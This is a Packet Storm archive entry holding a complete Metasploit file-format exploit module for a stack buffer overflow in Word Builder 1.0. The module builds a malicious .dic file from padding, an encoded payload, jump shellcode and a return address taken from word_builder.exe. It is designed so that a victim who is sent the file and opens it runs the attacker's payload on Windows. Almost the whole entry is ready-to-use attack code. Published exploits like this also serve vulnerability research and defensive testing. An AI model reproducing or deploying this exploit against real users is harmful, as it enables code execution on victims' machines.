Word Builder 1.0 (DIC File) Stack Buffer Overflow

2011-07-05T00:00:00
ID PACKETSTORM:102798
Type packetstorm
Reporter James Fitts
Modified 2011-07-05T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Word Builder 1.0 (DIC File) Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in Word Builder 1.0. An attacker must send the file to the victim and the victim must open the file.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h1ch4m', # Initial Discovery  
'James Fitts' # Metasploit Module  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/17086' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'Space' => 1500,  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x00411ce2 } ], #p/p/r in word_builder.exe  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 01 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dic']),  
], self.class)  
end  
  
def exploit  
  
dic = rand_text_alpha_upper(4103 - payload.encoded.length) + payload.encoded  
dic << "\xe9\xfe\xef\xff\xff" # jmp $-4093  
dic << "\x90\x90\xeb\xf7" # jmp $-7  
dic << [target.ret].pack('V')  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(dic)  
  
end  
  
end  
  
`